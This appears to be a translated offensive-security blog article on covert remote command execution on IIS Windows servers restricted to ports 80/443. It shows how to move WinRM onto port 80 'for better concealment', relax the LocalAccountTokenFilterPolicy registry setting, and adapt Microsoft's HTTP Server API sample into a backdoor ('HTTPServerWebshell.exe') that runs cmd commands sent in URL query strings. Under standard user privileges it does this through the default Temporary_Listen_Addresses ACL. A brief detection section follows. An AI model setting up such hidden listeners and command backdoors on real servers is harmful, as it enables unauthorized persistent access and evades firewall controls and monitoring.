0x00 Preface

---

I've been pondering this question recently:

A Windows server has IIS service enabled, and the firewall only allows communication through port 80 or 443. How can we achieve remote management of this server without using webshell? Furthermore, if we only have low privileges, is there a way?

0x01 Introduction

---

This article will cover the following:

  • HTTP.sys and port sharing
  • WinRM service
  • HTTP Server API
  • Exploitation methods targeting ports 80 and 443
  • Exploitation methods for high and low privileges
  • Detection methods

0x02 Basic Concepts

---

1. HTTP.sys and Port Sharing

Microsoft introduced the kernel-mode driver (Http.sys) in Windows 2003 Server to listen for HTTP traffic and process it based on URLs, allowing any user process to share TCP ports dedicated to HTTP traffic.

In other words, through HTTP.sys, multiple processes will be able to listen for HTTP traffic on the same port.

The Netsh command can be used to query and configure HTTP.sys settings and parameters. Reference materials are as follows:

https://docs.microsoft.com/en-us/windows/win32/http/netsh-commands-for-http

To list all URL DACLs, use the following command:

netsh http show urlacl

The system includes 10 DACLs by default, two of which correspond to the WinRM service. Specific information is as follows:

Reserved URL : http://+:5985/wsman/
User: NT SERVICE\WinRM
Listen: Yes
Delegate: No
User: NT SERVICE\Wecsvc
Listen: Yes
Delegate: No
SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)

Reserved URL : https://+:5986/wsman/
User: NT SERVICE\WinRM
Listen: Yes
Delegate: No
User: NT SERVICE\Wecsvc
Listen: Yes
Delegate: No
SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)

Port 5985 corresponds to HTTP, port 5986 corresponds to HTTPS

2. WinRM Service

Learning Materials:

https://docs.microsoft.com/en-us/windows/win32/winrm/portal

Full name: Windows Remote Management, capable of executing commands on remote hosts

3. HTTP Server API

Learning Materials:

https://docs.microsoft.com/en-us/windows/win32/http/http-api-start-page

HTTP Server API enables applications to receive HTTP requests directed to URLs and send HTTP responses

0x03 Utilizing WinRM Service for Port Reuse

---

Note:

Twi1ight's article has already covered this content. Thanks for his sharing. The address is as follows:

https://paper.seebug.org/1004/

This section only summarizes and organizes the content from that article with slight additions

Windows Server 2008 has WinRM service disabled by default, Windows Server 2012 has it enabled by default

Note:

The following operations require administrator privileges.

1. If the WinRM service is already enabled on the system

(1) Check the listener configuration

winrm e winrm/config/listener

By default, it listens on port 5985. To avoid modifying the default configuration, we need to add port 80 here.

Note:

The command to view WinRM configuration is as follows:

winrm get winrm/config

(2) Add port 80

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

Additional note:

The command to remove port 80 is as follows:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="false"}

Note:

If port 80 is not added, remote connections must specify port 5985, as shown in the following example:

winrs -r:http://192.168.112.129:5985 -u:test -p:1234 "whoami"

(3) Allow all accounts in the Administrators group to access the service

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Note:

If this setting is not configured, only the built-in Administrator account can be used for remote connections.

2. If the WinRM service is not enabled on the system

(1) Enable and configure the service using default settings

Winrm quickconfig -q

This will automatically perform the following actions:

  • Start the WinRM service and set its startup type to automatic
  • Add listener configuration
  • Add firewall rules

(2) Modify the default port

After enabling the service, it listens on port 5985 by default. For better concealment, change the default port from 5985 to port 80.

Change the default HTTP port to 80:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

Note:

The command to restore the default HTTP port to 5985 is as follows:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="5985"}

(3) Allow all accounts in the Administrators group to access the service

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Note:

If this is not set, only the built-in administrator account Administrator can be used for remote connections

3. Connect to the remote host via the WinRM service

The local system needs to use the same language environment as the remote host

(1) Enable the WinRM service on the local system

Winrm quickconfig -q

(2) Set access rules on the local system to allow connections to all hosts

winrm set winrm/config/Client @{TrustedHosts="*"}

Note:

The command to delete this access rule is as follows:

winrm set winrm/config/Client @{TrustedHosts=""}

(3) Example command for connecting to a remote host

If using the default port 5985, the command is as follows:

winrs -r:http://192.168.112.129:5985 -u:administrator -p:1234 "whoami"

If using port 80, the command is as follows:

winrs -r:http://192.168.112.129 -u:administrator -p:1234 "whoami"

0x04 Port Reuse via HTTP Server API

---

1. Sample Code Testing

Download link:

https://docs.microsoft.com/en-us/windows/win32/http/http-server-sample-application

The code supports registering multiple URLs simultaneously, processing requests, and sending HTTP responses.

Simple test as follows:

Server IP is 192.168.112.129

Execute with administrator privileges:

http-server-sample-application.exe http://+:80/MyUri1 http://+:80/MyUri2

Open browser and visit http://192.168.112.129:80/MyUri1 and http://192.168.112.129:80/MyUri2 respectively

The received results are shown in the figure below

Alt text

The sample code registers the URL as Listen On via API HttpAddUrl(). Under default configuration, administrator privileges are required for successful addition; otherwise error occurs: HttpAddUrl failed with 5, indicating insufficient permissions

However, normal operation under standard user privileges can be achieved by adding url acl (requires administrator privileges)

2. Enable sample code to run with standard user privileges by adding url acl (requires administrator privileges)

Method as follows:

Add url acl, granting Everyone user permissions for specified URL, command as follows (administrator privileges):

netsh http add urlacl url=http://+:80/MyUri user=everyone

Note:

Command to delete this url acl is as follows:

netsh http delete urlacl url=http://+:80/MyUri

Execute the test program again (with standard user privileges), command as follows:

http-server-sample-application.exe http://+:80/MyUri

Execution successful

3. Utilize existing URL ACLs to run the sample code with standard user privileges

List all URL DACLs, command as follows:

netsh http show urlacl

Note that under default configuration, the following ACL is included:

Reserved URL : http://+:80/Temporary_Listen_Addresses/
User: \Everyone
Listen: Yes
Delegate: No
SDDL: D:(A;;GX;;;WD)

User is Everyone, so we can leverage this URL

Execute the sample program (with standard user privileges), command as follows:

http-server-sample-application.exe http://+:80/Temporary_Listen_Addresses/MyUri

Execution successful

4. Modify the example code to implement command execution

Approach is as follows:

Send the cmd command to be executed via a GET request, in the format ?

For example: http://192.168.112.129/MyUri?whoami, the command to be executed is whoami, reply with the execution result in the Response

For GET and POST requests that do not conform to the format, reply with 404 in the Response

Implementation code:

Using the example program as a template, the following locations need to be modified:

(1) Use ? to pass parameters

pRequest->CookedUrl.pQueryString can read parameters, but includes the useless character ?, the first character of pRequest->CookedUrl.pQueryString needs to be removed when actually executing the command

C code to remove the first character of pRequest->CookedUrl.pQueryString:

WCHAR *QueryString = new WCHAR[pRequest->CookedUrl.QueryStringLength-1];
wcsncpy_s(QueryString, wcslen(QueryString), pRequest->CookedUrl.pQueryString + 1, wcslen(QueryString) - 1);
wprintf_s(L"%s\n", QueryString);

(2) Replacement of special characters

  • Spaces are encoded as %20
  • " is encoded as %22
  • ' is encoded as %27

For example, the browser input string 'whoami /all' will be encoded as 'whoami%20/all', and this command cannot be directly executed in the command line

The C code for restoring URL encoding has been uploaded to GitHub, address as follows:

An open-source project

The code supports multi-byte character sets and Unicode character sets

(3) Use pipes to read commands and execute them, then return the results

The code for executing cmd commands using pipes and obtaining results has been uploaded to GitHub, address as follows:

An open-source project

(4) Modify the format of the returned results

The returned results need to be formatted, converting the \n newline character to
in HTML; otherwise, the content displayed in the browser will not wrap

The code for converting newline characters (\n) in text to HTML line breaks (
) has been uploaded to GitHub, address as follows:

An open-source project

The final implemented code has been uploaded to GitHub, address as follows:

An open-source project

Only URLs of a specific format can execute commands, otherwise a 404 error is displayed

As shown in the figure below

Alt text

Command example:

http://192.168.112.129/MyUri?net%20start

As shown in the figure below

Alt text

HTTPS protocol is also supported, command example:

https://192.168.112.129/MyUri?net%20start

As shown in the figure below

Alt text

0x05 Exploitation Method

---

The Windows server has the IIS service enabled, and the firewall only allows communication on ports 80 or 443. The method to achieve remote management of this server without using a webshell is as follows:

1. Using Administrator Privileges

(1) Using WinRM Service

Requires enabling WinRM service

Requires password or hash of an account in the Administrators group

(2) Using HTTP Server API

Can use any URL

Note:

Both port 80 and 443 are available

2. Using Standard User Privileges

(1) Using HTTP Server API

Using existing URL ACL: http://+:80/Temporary_Listen_Addresses/

Note:

Cannot use port 443

0x06 Detection Methods

---

Detect whether the port sharing feature of the current IIS server is being abused using the following methods

1. Detect the URLs in use

If the HTTP Server API is used, the program will register URLs during runtime. View the command as follows:

netsh http sh ser

Suspicious result example:

Server session ID: D000000020000174
Version: 1.0
State: Active
Properties:
Max bandwidth: 4294967295
Timeouts:
Entity body timeout (secs): 120
Drain entity body timeout (secs): 120
Request queue timeout (secs): 120
Idle connection timeout (secs): 120
Header wait timeout (secs): 120
Minimum send rate (bytes/sec): 150
URL groups:
URL group ID: AC0000004000017C
State: Active
Request queue name: Request queue is unnamed.
Properties:
Max bandwidth: inherited
Max connections: inherited
Timeouts:
Timeout values inherited
Number of registered URLs: 1
Registered URLs:
HTTP://192.168.112.129:80:192.168.112.129/MYURI/

Server session ID: D000000020000173
Version: 1.0
State: Active
Properties:
Max bandwidth: 4294967295
Timeouts:
Entity body timeout (secs): 120
Drain entity body timeout (secs): 120
Request queue timeout (secs): 120
Idle connection timeout (secs): 120
Header wait timeout (secs): 120
Minimum send rate (bytes/sec): 150
URL groups:
URL group ID: AC0000004000017B
State: Active
Request queue name: Request queue is unnamed.
Properties:
Max bandwidth: inherited
Max connections: inherited
Timeouts:
Timeout values inherited
Number of registered URLs: 1
Registered URLs:
HTTPS://192.168.112.129:443:192.168.112.129/MYURI/

Server session ID: D600000020000077
Version: 1.0
State: Active
Properties:
Max bandwidth: 4294967295
Timeouts:
Entity body timeout (secs): 120
Drain entity body timeout (secs): 120
Request queue timeout (secs): 120
Idle connection timeout (secs): 120
Header wait timeout (secs): 120
Minimum send rate (bytes/sec): 150
URL groups:
URL group ID: BF00000040000120
State: Active
Request queue name: Request queue is unnamed.
Properties:
Max bandwidth: inherited
Max connections: inherited
Timeouts:
Timeout values inherited
Number of registered URLs: 1
Registered URLs:
HTTP://+:80/TEMPORARY_LISTEN_ADDRESSES/

2. Check WinRM Service Configuration

If an attacker obtains administrator privileges, the WinRM service configuration could be abused

Check listener configuration:

winrm e winrm/config/listener

Check if suspicious ports are open

0x07 Summary

---

This article addresses the following issue:

A Windows server has IIS service enabled, and the firewall only allows communication on ports 80 or 443. How can remote management of this server be achieved without using webshells and with only regular user permissions?

Solution:

Use code:

An open-source project

Use existing URL ACLs with the following command parameters:

HTTPServerWebshell.exe http://+:80/Temporary_Listen_Addresses/